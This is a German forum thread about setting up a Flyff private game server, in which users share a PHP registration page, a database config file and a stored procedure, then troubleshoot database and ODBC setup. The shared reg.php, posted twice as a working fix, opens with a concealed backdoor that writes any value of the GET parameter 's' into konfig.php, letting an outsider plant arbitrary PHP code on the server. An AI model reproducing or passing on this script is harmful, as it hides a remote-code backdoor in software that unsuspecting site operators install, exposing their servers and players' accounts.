|
You last visited: Today at 03:58
Advertisement
[FAQ] v15 Files
Discussion on [FAQ] v15 Files within the Flyff Private Server forum part of the Flyff category.
05/21/2010, 10:38
|
#91
|
elite*gold: 0
Join Date: Jan 2010
Posts: 14
Received Thanks: 1
|
Versuchs mal damit.
reg.php
Quote:
<center>
<?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}
if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Register Successfull.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}
echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';
?>
</center>
|
reg_conf.php
Quote:
<?php
$link = @mssql_connect("COMPUTERNAME\SQLEXPRESS", "sa", "passwort") or die ("Server is down!");
$db = @mssql_select_db('ACCOUNT_DBF') or die ("Accout table is missing!");
$b = '';
$mail = '';
?>
|
Zuletzt das ausführen.
Quote:
USE [ACCOUNT_DBF]
GO
/****** Object: StoredProcedure [dbo].[webCreateAcc] Script Date: 08/17/2009 21:30:28 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [dbo].[webCreateAcc]
@account VARCHAR(15),
@password VARCHAR(36),
@email VARCHAR(120)
AS
SET NOCOUNT ON
DECLARE @DateActivated AS CHAR(8)
IF NOT EXISTS (SELECT account FROM ACCOUNT_TBL WHERE account = @account) BEGIN
INSERT INTO ACCOUNT_TBL (account, [password], id_no2, isuse, member, realname)
VALUES (@account, @password, @password, 'T', 'A', 'F')
SET @DateActivated = CONVERT(CHAR(8), GETDATE()-1, 112 ) --Is the date today - 1
--UPDATE ACCOUNT_TBL_DETAIL SET BlockTime = @DateYesterday WHERE account = @userid
--INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse)
-- VALUES (@account, 'A000', '2', 'F', GETDATE(), '20990101', '20990101', '20050101', 'O')
INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse, email)
VALUES (@account, 'A000', '2', 'F', GETDATE(), @DateActivated, '20990101', '20050101', 'O', @email)
END
--ELSE BEGIN
--print '->Account exists = '
--print @account
--END
|
mfg
|
|
|
05/21/2010, 11:20
|
#92
|
elite*gold: 0
Join Date: Jan 2009
Posts: 73
Received Thanks: 6
|
Hey hey, danke ^^ hat gefunzt 
ABER da is so ein <? was da nich hingehört... also es wird auf der website angezeigt...würde es ja suchen aber damit gibt man wohl auch an ab wo php ist...und ich bin php nicht mächtig deswegen weiß ich nich wos hingehört und wo nich 
Nun bleibt noch der M Fehler ^^
1. Wenn ich versuche die Map über deinen Clienten zu öffnen macht er garnichts. Weder mit M noch über das systemeigene flyff menü (Bei meinem client der mein eigenes Theme beinhaltet kann ich zwar die map öffnen jedoch crashed dann die neuz.exe (Benutze deinen clienten mit eigenem Theme ordner))
2. ODBC auf englisch stellen = "Sprache der Systemanmeldung festlegen" -> "English"? Gelöst
Antwort: Genau wies da steht ^^
3. Zur Website -> Hab dein Regi script in eine standart homepage mit XAMPP reingetan und wollte mich registrieren es kommt danach -> Registrierung erfolgreich abgeschlossen -> wenns doch nur so wäre ^^ bin auf mein management server gegangen und mal unter der account_dbf nachgeschaut ...kein eintrag ... Gelöst
Antwort von MezzoX1:
reg.php
Code:
<center>
<?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}
if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Register Successfull.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}
echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';
?>
</center>
reg_conf.php
Code:
<?php
$link = @mssql_connect("COMPUTERNAME\SQLEXPRESS", "sa", "passwort") or die ("Server is down!");
$db = @mssql_select_db('ACCOUNT_DBF') or die ("Accout table is missing!");
$b = '';
$mail = '';
?>
Zuletzt das ausführen.
Code:
USE [ACCOUNT_DBF]
GO
/****** Object: StoredProcedure [dbo].[webCreateAcc] Script Date: 08/17/2009 21:30:28 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [dbo].[webCreateAcc]
@account VARCHAR(15),
@password VARCHAR(36),
@email VARCHAR(120)
AS
SET NOCOUNT ON
DECLARE @DateActivated AS CHAR(8)
IF NOT EXISTS (SELECT account FROM ACCOUNT_TBL WHERE account = @account) BEGIN
INSERT INTO ACCOUNT_TBL (account, [password], id_no2, isuse, member, realname)
VALUES (@account, @password, @password, 'T', 'A', 'F')
SET @DateActivated = CONVERT(CHAR(8), GETDATE()-1, 112 ) --Is the date today - 1
--UPDATE ACCOUNT_TBL_DETAIL SET BlockTime = @DateYesterday WHERE account = @userid
--INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse)
-- VALUES (@account, 'A000', '2', 'F', GETDATE(), '20990101', '20990101', '20050101', 'O')
INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse, email)
VALUES (@account, 'A000', '2', 'F', GETDATE(), @DateActivated, '20990101', '20050101', 'O', @email)
END
--ELSE BEGIN
--print '->Account exists = '
--print @account
--END
|
|
|
05/21/2010, 13:36
|
#93
|
elite*gold: 0
Join Date: Dec 2008
Posts: 1,304
Received Thanks: 485
|
Hay, danke erstmal, hab das jetzt genauso wie beschrieben gemacht, aber bei mir steht immer "Server is down!" dran, die Angaben in der reg_conf.php sind alle Richtig! Woran könnte es noch leigen das ich keine Verbindung zu DB bekomme? :/
|
|
|
05/21/2010, 13:56
|
#94
|
elite*gold: 18
Join Date: Sep 2009
Posts: 20,174
Received Thanks: 14,475
|
Quote:
Originally Posted by MezzoX1
Versuchs mal damit.
reg.php
reg_conf.php
Zuletzt das ausführen.
mfg
|
Credits an die Person schreiben bitte.
Quote:
Originally Posted by Reeek
Hay, danke erstmal, hab das jetzt genauso wie beschrieben gemacht, aber bei mir steht immer "Server is down!" dran, die Angaben in der reg_conf.php sind alle Richtig! Woran könnte es noch leigen das ich keine Verbindung zu DB bekomme? :/
|
nimm mal da den sa und dein pw raus. geht auch ohne die daten.
|
|
|
05/21/2010, 14:05
|
#95
|
elite*gold: 0
Join Date: Dec 2008
Posts: 1,304
Received Thanks: 485
|
Quote:
Originally Posted by Sedrika
nimm mal da den sa und dein pw raus. geht auch ohne die daten.
|
Erstmal Danke für die schnelle Antwort.
Hab das gemacht, aber immer noch "Server is down!" :/ Kann es an server2go liegen? Oder führe ich es in der DB iwie falsch aus?
|
|
|
05/21/2010, 16:42
|
#96
|
elite*gold: 0
Join Date: Jan 2009
Posts: 73
Received Thanks: 6
|
wie siehts mit dem M probelm aus ? xD
liegt warscheins an der neuz.exe oder am theme ordner ? oder is das bei allen so ?
|
|
|
05/21/2010, 20:28
|
#97
|
elite*gold: 0
Join Date: Oct 2009
Posts: 81
Received Thanks: 21
|
also erstmal danke sedrika für das release von den files und der db
aber ein problem hab ich noch, undzwar klappt das mit dem einfügen der backups nicht.
ich hab alle datein wie beschrieben in den backup ordner eingefügt und dann das management studio gestartet, aber da waren die db's nicht D:
hoffe das mir jemand helfen kann
EDIT: einen screen hab ich selbstverständlich auch
mfg heNNy
|
|
|
05/21/2010, 21:24
|
#98
|
elite*gold: 18
Join Date: Sep 2009
Posts: 20,174
Received Thanks: 14,475
|
Die Datenbanken musst du selber erstellen und danach die backups einbauen.
|
|
|
05/21/2010, 21:30
|
#99
|
elite*gold: 0
Join Date: Oct 2009
Posts: 81
Received Thanks: 21
|
sry wenn das jetzt dämlich klingt, aber wie mach ich das?
weil ich kann dem TuT nut entnehmen das man die heruntergeladenen dbs in den backup ordner einfügen muss...
naja mit dbs kenn ich mich nunmal net so gut aus >_>
mfg heNNy
|
|
|
05/21/2010, 22:25
|
#100
|
elite*gold: 0
Join Date: Oct 2008
Posts: 270
Received Thanks: 64
|
Wenn du vista hast würde ich dir raten suche einfach nach" backups" und warte dann komme die suchergebnisse wenn da ein backup ordner bie mssql dabei ist öffen den udn tu die dann rein .
|
|
|
05/21/2010, 22:41
|
#101
|
elite*gold: 0
Join Date: Oct 2009
Posts: 81
Received Thanks: 21
|
mhh...
ich glaub du verstehst das falsch
ich hab die dbs ja in den backup ordner von mssql getan aber es wird dann in mssql nich erkannt, oder angezeigt ka
aber trotzdem danke für eure antworte :>
ps: hab win 7 *-*
mfg heNNy
|
|
|
05/22/2010, 03:21
|
#102
|
elite*gold: 0
Join Date: Jan 2009
Posts: 73
Received Thanks: 6
|
Hatte selbiges problem, die lösung is simpel ^^
und zwar hat sedrika´s computer des automatisch erkannt wenn des bei dir nich der fall is -> Machs manuell ! geht genausogut also keine angst ^^ ich mach dir mal nen kleinen screen der die zeigt wies geht :P
Und danach kannst du wie von sedrika weiter machn ein häckhchen auf ein bac. machn dann auf optionen überschreiben ... und das dann noch für alle andren dateien auch... aber das steht ja schon im tutorial
|
|
|
05/22/2010, 07:23
|
#103
|
elite*gold: 0
Join Date: Oct 2009
Posts: 81
Received Thanks: 21
|
danke =D
okay jetzt gehts, mal schaun wie gut ich den rest hinbekomme
Edit: nächster schritt nächstes problem:
also ich hab echt keinen plan was ich bei den ODBC einstellungen alles nehmen soll...
wäre sehr nett wenn mir das jemand ausführlich (am besten mit screens) erklären könnte
ich bin schenbar echt zu blöd für sowas xD
mfg heNNy
|
|
|
05/22/2010, 10:22
|
#104
|
elite*gold: 0
Join Date: Oct 2008
Posts: 270
Received Thanks: 64
|
Hast du Teamviewer dann mach ich dir das
|
|
|
05/22/2010, 10:59
|
#105
|
elite*gold: 0
Join Date: Oct 2009
Posts: 81
Received Thanks: 21
|
klar teamviewer hab ich
ich mach nur noch eben was in photoshop fertig =)
adde mich einfach mal in icq dann kann ich dir meine daten schicken (nummer: 350241934)
schonmal danke im vorraus
mfg heNNy
|
|
|
Similar Threads
|
Fling mount data base files and sever files
03/07/2010 - EO PServer Hosting - 15 Replies
well i think i have found the flying mounts so if u guys want to have a look here is the link for u to download the database files and all the other stuff u need for it
Free File Hosting Made Simple - MediaFire
Cerdits to 4fcom
Good luck
|
All times are GMT +1. The time now is 03:58.
|
|